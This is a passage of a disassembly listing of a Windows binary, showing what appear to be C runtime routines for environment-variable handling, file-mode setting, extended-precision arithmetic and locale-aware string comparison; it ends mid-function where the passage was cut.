sub_421DAE	proc near		; CODE XREF: sub_42094E+23p

arg_0		= dword	ptr  4

		cmp	ds:dword_48B690, 0
		push	ebx
		push	esi
		mov	esi, ds:dword_48A03C
		push	edi
		jz	short loc_421E25
		test	esi, esi
		jnz	short loc_421DDF
		cmp	ds:dword_48A044, esi
		jz	short loc_421E25
		call	sub_42217C
		test	eax, eax
		jnz	short loc_421E25
		mov	esi, ds:dword_48A03C
		test	esi, esi
		jz	short loc_421E25

loc_421DDF:				; CODE XREF: sub_421DAE+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_421E25
		push	ebx
		call	sub_417AB0
		pop	ecx
		mov	edi, eax

loc_421DF0:				; CODE XREF: sub_421DAE+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_421E25
		push	eax
		call	sub_417AB0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_421E18
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_421E18
		push	edi
		push	ebx
		push	eax
		call	sub_42213D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_421E1D

loc_421E18:				; CODE XREF: sub_421DAE+51j
					; sub_421DAE+59j
		add	esi, 4
		jmp	short loc_421DF0
; ---------------------------------------------------------------------------

loc_421E1D:				; CODE XREF: sub_421DAE+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_421E27
; ---------------------------------------------------------------------------

loc_421E25:				; CODE XREF: sub_421DAE+10j
					; sub_421DAE+1Cj ...
		xor	eax, eax

loc_421E27:				; CODE XREF: sub_421DAE+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_421DAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E2B	proc near		; CODE XREF: sub_4211F1+8Bp
					; sub_4211F1+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, ds:dword_48B440
		jnb	short loc_421E92
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_48B340[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_421E92
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_421E6B
		and	cl, 7Fh
		jmp	short loc_421E78
; ---------------------------------------------------------------------------

loc_421E6B:				; CODE XREF: sub_421E2B+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_421E86
		or	cl, 80h

loc_421E78:				; CODE XREF: sub_421E2B+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_421E86:				; CODE XREF: sub_421E2B+48j
		mov	ds:dword_48A014, 16h
		jmp	short loc_421E9C
; ---------------------------------------------------------------------------

loc_421E92:				; CODE XREF: sub_421E2B+Bj
					; sub_421E2B+27j
		mov	ds:dword_48A014, 9

loc_421E9C:				; CODE XREF: sub_421E2B+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_421E2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421EA1	proc near		; CODE XREF: sub_4219A9+165p
					; sub_4220C1+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_4220A1
		cmp	cx, 7FFFh
		jnb	loc_4220A1
		cmp	dx, 0BFFDh
		ja	loc_4220A1
		cmp	dx, 3FBFh
		ja	short loc_421F0A
		xor	eax, eax
		jmp	short loc_421F44
; ---------------------------------------------------------------------------

loc_421F0A:				; CODE XREF: sub_421EA1+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_421F2C
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_421F2C
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_421F2E
		cmp	[esi], eax
		jnz	short loc_421F2E
		jmp	loc_42209B
; ---------------------------------------------------------------------------

loc_421F2C:				; CODE XREF: sub_421EA1+71j
					; sub_421EA1+79j
		xor	eax, eax

loc_421F2E:				; CODE XREF: sub_421EA1+80j
					; sub_421EA1+84j
		cmp	cx, ax
		jnz	short loc_421F51
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_421F51
		cmp	[ebx+4], eax
		jnz	short loc_421F51
		cmp	[ebx], eax
		jnz	short loc_421F51

loc_421F44:				; CODE XREF: sub_421EA1+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_4220BC
; ---------------------------------------------------------------------------

loc_421F51:				; CODE XREF: sub_421EA1+90j
					; sub_421EA1+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5

loc_421F61:				; CODE XREF: sub_421EA1+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_421FB5
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax

loc_421F7D:				; CODE XREF: sub_421EA1+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_421FA8
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]

loc_421FA8:				; CODE XREF: sub_421EA1+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_421F7D

loc_421FB5:				; CODE XREF: sub_421EA1+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_421F61
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_421FF8

loc_421FD3:				; CODE XREF: sub_421EA1+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_421FF1
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4213B6
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_421FD3

loc_421FF1:				; CODE XREF: sub_421EA1+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_422031

loc_421FF8:				; CODE XREF: sub_421EA1+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_422031
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax

loc_422011:				; CODE XREF: sub_421EA1+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_42201A
		inc	[ebp+var_14]

loc_42201A:				; CODE XREF: sub_421EA1+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4213E4
		dec	ebx
		pop	ecx
		jnz	short loc_422011
		cmp	[ebp+var_14], 0
		jz	short loc_422031
		or	byte ptr [ebp+var_24], 1

loc_422031:				; CODE XREF: sub_421EA1+155j
					; sub_421EA1+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_422048
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_42207D

loc_422048:				; CODE XREF: sub_421EA1+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_42207A
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_422075
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_42206F
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_42207D
; ---------------------------------------------------------------------------

loc_42206F:				; CODE XREF: sub_421EA1+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_42207D
; ---------------------------------------------------------------------------

loc_422075:				; CODE XREF: sub_421EA1+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_42207D
; ---------------------------------------------------------------------------

loc_42207A:				; CODE XREF: sub_421EA1+1ABj
		inc	[ebp+var_24+2]

loc_42207D:				; CODE XREF: sub_421EA1+1A5j
					; sub_421EA1+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_4220A1
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx

loc_42209B:				; CODE XREF: sub_421EA1+86j
		mov	[esi+0Ah], ax
		jmp	short loc_4220BC
; ---------------------------------------------------------------------------

loc_4220A1:				; CODE XREF: sub_421EA1+42j
					; sub_421EA1+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi

loc_4220BC:				; CODE XREF: sub_421EA1+ABj
					; sub_421EA1+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_421EA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4220C1	proc near		; CODE XREF: sub_4214D8+440p
					; sub_4219A9+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43C090
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_42213A
		jge	short loc_4220E9
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43C1F0
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h

loc_4220E9:				; CODE XREF: sub_4220C1+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4220F4
		mov	eax, [ebp+arg_0]
		mov	[eax], cx

loc_4220F4:				; CODE XREF: sub_4220C1+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_42213A
		push	esi
		push	edi

loc_4220FB:				; CODE XREF: sub_4220C1+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_422133
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_422126
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]

loc_422126:				; CODE XREF: sub_4220C1+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_421EA1
		pop	ecx
		pop	ecx
		xor	ecx, ecx

loc_422133:				; CODE XREF: sub_4220C1+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_4220FB
		pop	edi
		pop	esi

loc_42213A:				; CODE XREF: sub_4220C1+14j
					; sub_4220C1+36j
		pop	ebx
		leave
		retn
sub_4220C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42213D	proc near		; CODE XREF: sub_421DAE+5Ep
					; sub_422619+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_42214A
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42214A:				; CODE XREF: sub_42213D+7j
		push	ds:dword_48B444
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	ds:dword_48B664
		call	sub_4221EA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422177
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_422177:				; CODE XREF: sub_42213D+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_42213D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42217C	proc near		; CODE XREF: sub_421DAE+1Ep
					; sub_422492+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ds:dword_48A044
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_4221DD
		mov	ebx, ds:dword_424150

loc_422195:				; CODE XREF: sub_42217C+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_4221E5
		push	ebp
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_4221E5
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_4221E5
		push	edi
		push	[esp+18h+var_4]
		call	sub_422492
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_422195

loc_4221DD:				; CODE XREF: sub_42217C+11j
		xor	eax, eax

loc_4221DF:				; CODE XREF: sub_42217C+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_4221E5:				; CODE XREF: sub_42217C+29j
					; sub_42217C+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_4221DF
sub_42217C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4221EA	proc near		; CODE XREF: sub_42213D+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424C88
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	ds:dword_48A300, ebx
		push	1
		pop	edi
		jnz	short loc_42225D
		push	edi
		mov	eax, offset dword_4248D8
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_424008	; CompareStringW
		test	eax, eax
		jz	short loc_42223A
		mov	ds:dword_48A300, edi
		jmp	short loc_42225D
; ---------------------------------------------------------------------------

loc_42223A:				; CODE XREF: sub_4221EA+46j
		push	edi
		mov	eax, offset dword_43C824
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_42400C	; CompareStringA
		test	eax, eax
		jz	loc_422453
		mov	ds:dword_48A300, 2

loc_42225D:				; CODE XREF: sub_4221EA+31j
					; sub_4221EA+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_422274
		push	esi
		push	[ebp+arg_8]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi

loc_422274:				; CODE XREF: sub_4221EA+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_422289
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax

loc_422289:				; CODE XREF: sub_4221EA+8Dj
		mov	eax, ds:dword_48A300
		cmp	eax, 2
		jnz	short loc_4222AE
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_42400C	; CompareStringA
		jmp	loc_422455
; ---------------------------------------------------------------------------

loc_4222AE:				; CODE XREF: sub_4221EA+A7j
		cmp	eax, edi
		jnz	loc_422453
		cmp	[ebp+arg_18], ebx
		jnz	short loc_4222C3
		mov	eax, ds:dword_48A0B8
		mov	[ebp+arg_18], eax

loc_4222C3:				; CODE XREF: sub_4221EA+CFj
		cmp	esi, ebx
		jz	short loc_4222D0
		cmp	[ebp+arg_14], ebx
		jnz	loc_422368

loc_4222D0:				; CODE XREF: sub_4221EA+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_4222DD

loc_4222D5:				; CODE XREF: sub_4221EA+13Cj
					; sub_4221EA+16Dj
		push	2

loc_4222D7:				; CODE XREF: sub_4221EA+146j
		pop	eax
		jmp	loc_422455
; ---------------------------------------------------------------------------

loc_4222DD:				; CODE XREF: sub_4221EA+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_4222E9

loc_4222E2:				; CODE XREF: sub_4221EA+151j
					; sub_4221EA+159j ...
		mov	eax, edi
		jmp	loc_422455
; ---------------------------------------------------------------------------

loc_4222E9:				; CODE XREF: sub_4221EA+F6j
		cmp	esi, edi
		jg	short loc_42232E
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	ds:dword_4241CC	; GetCPInfo
		test	eax, eax
		jz	loc_422453
		cmp	esi, ebx
		jle	short loc_422332
		cmp	[ebp+var_3C], 2
		jb	short loc_42232E
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_42232E

loc_422314:				; CODE XREF: sub_4221EA+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_42232E
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_422328
		cmp	cl, dl
		jbe	short loc_4222D5

loc_422328:				; CODE XREF: sub_4221EA+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_422314

loc_42232E:				; CODE XREF: sub_4221EA+101j
					; sub_4221EA+120j ...
		push	3
		jmp	short loc_4222D7
; ---------------------------------------------------------------------------

loc_422332:				; CODE XREF: sub_4221EA+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_422368
		cmp	[ebp+var_3C], 2
		jb	short loc_4222E2
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_4222E2

loc_422345:				; CODE XREF: sub_4221EA+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_4222E2
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_42235D
		cmp	cl, dl
		jbe	loc_4222D5

loc_42235D:				; CODE XREF: sub_4221EA+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_422345
		jmp	loc_4222E2
; ---------------------------------------------------------------------------

loc_422368:				; CODE XREF: sub_4221EA+E0j
					; sub_4221EA+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	ds:dword_424070	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_422453
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4223B7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi

loc_4223B7:				; CODE XREF: sub_4221EA+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_422453
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, ds:dword_424070
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_422453
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_422453
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422422
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]

loc_422422:				; CODE XREF: sub_4221EA+224j
		cmp	edi, ebx
		jz	short loc_422453
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	ds:dword_424070	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_422453
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_424008	; CompareStringW
		jmp	short loc_422455
; ---------------------------------------------------------------------------

loc_422453:				; CODE XREF: sub_4221EA+63j
					; sub_4221EA+C6j ...
		xor	eax, eax

loc_422455:				; CODE XREF: sub_4221EA+BFj
					; sub_4221EA+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4221EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_422467	proc near		; CODE XREF: sub_41E709+81p
					; sub_4221EA+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_422484

loc_422477:				; CODE XREF: sub_422467+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_422484
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_422477

loc_422484:				; CODE XREF: sub_422467+Ej
					; sub_422467+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_42248F
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------

loc_42248F:				; CODE XREF: sub_422467+21j
		mov	eax, edx
		retn
sub_422467	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422492	proc near		; CODE XREF: sub_42217C+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_4224F6
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4226D8
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_4224F6
		cmp	[ebp+arg_0], esi
		jz	short loc_4224F6
		mov	eax, ds:dword_48A03C
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, ds:dword_48A040
		jnz	short loc_4224DC
		push	eax
		call	sub_422671
		pop	ecx
		mov	ds:dword_48A03C, eax

loc_4224DC:				; CODE XREF: sub_422492+3Cj
		cmp	eax, edi
		jnz	short loc_422534
		cmp	[ebp+arg_4], edi
		jz	short loc_4224FE
		cmp	ds:dword_48A044, edi
		jz	short loc_4224FE
		call	sub_42217C
		test	eax, eax
		jz	short loc_422534

loc_4224F6:				; CODE XREF: sub_422492+Dj
					; sub_422492+22j ...
		or	eax, 0FFFFFFFFh

loc_4224F9:				; CODE XREF: sub_422492+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4224FE:				; CODE XREF: sub_422492+51j
					; sub_422492+59j
		cmp	ebx, edi
		jnz	loc_422612
		push	4
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	ds:dword_48A03C, eax
		jz	short loc_4224F6
		mov	[eax], edi
		cmp	ds:dword_48A044, edi
		jnz	short loc_422534
		push	4
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	ds:dword_48A044, eax
		jz	short loc_4224F6
		mov	[eax], edi

loc_422534:				; CODE XREF: sub_422492+4Cj
					; sub_422492+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, ds:dword_48A03C
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_422619
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_422594
		cmp	dword ptr [edi], 0
		jz	short loc_422594
		test	ebx, ebx
		jz	short loc_42258C
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_417C3B
		pop	ecx

loc_422566:				; CODE XREF: sub_422492+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_422576
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_422566
; ---------------------------------------------------------------------------

loc_422576:				; CODE XREF: sub_422492+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41944F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4225C6
		jmp	short loc_4225C1
; ---------------------------------------------------------------------------

loc_42258C:				; CODE XREF: sub_422492+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4225C6
; ---------------------------------------------------------------------------

loc_422594:				; CODE XREF: sub_422492+BDj
					; sub_422492+C2j
		test	ebx, ebx
		jnz	short loc_422612
		test	esi, esi
		jge	short loc_42259E
		neg	esi

loc_42259E:				; CODE XREF: sub_422492+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41944F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4224F6
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0

loc_4225C1:				; CODE XREF: sub_422492+F8j
		mov	ds:dword_48A03C, eax

loc_4225C6:				; CODE XREF: sub_422492+F6j
					; sub_422492+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_422612
		push	[ebp+arg_0]
		call	sub_417AB0
		inc	eax
		inc	eax
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_422612
		push	[ebp+arg_0]
		push	esi
		call	sub_4179C0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	ds:dword_424004	; SetEnvironmentVariableA
		push	esi
		call	sub_417C3B
		pop	ecx

loc_422612:				; CODE XREF: sub_422492+6Ej
					; sub_422492+104j ...
		xor	eax, eax
		jmp	loc_4224F9
sub_422492	endp


; =============== S U B	R O U T	I N E =======================================



sub_422619	proc near		; CODE XREF: sub_422492+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ds:dword_48A03C
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_422654
		mov	edi, [esp+8+arg_4]

loc_42262B:				; CODE XREF: sub_422619+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_42213D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42264A
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_422664
		test	al, al
		jz	short loc_422664

loc_42264A:				; CODE XREF: sub_422619+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_42262B

loc_422654:				; CODE XREF: sub_422619+Cj
		mov	eax, esi
		sub	eax, ds:dword_48A03C
		sar	eax, 2
		neg	eax

loc_422661:				; CODE XREF: sub_422619+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_422664:				; CODE XREF: sub_422619+2Bj
					; sub_422619+2Fj
		mov	eax, esi
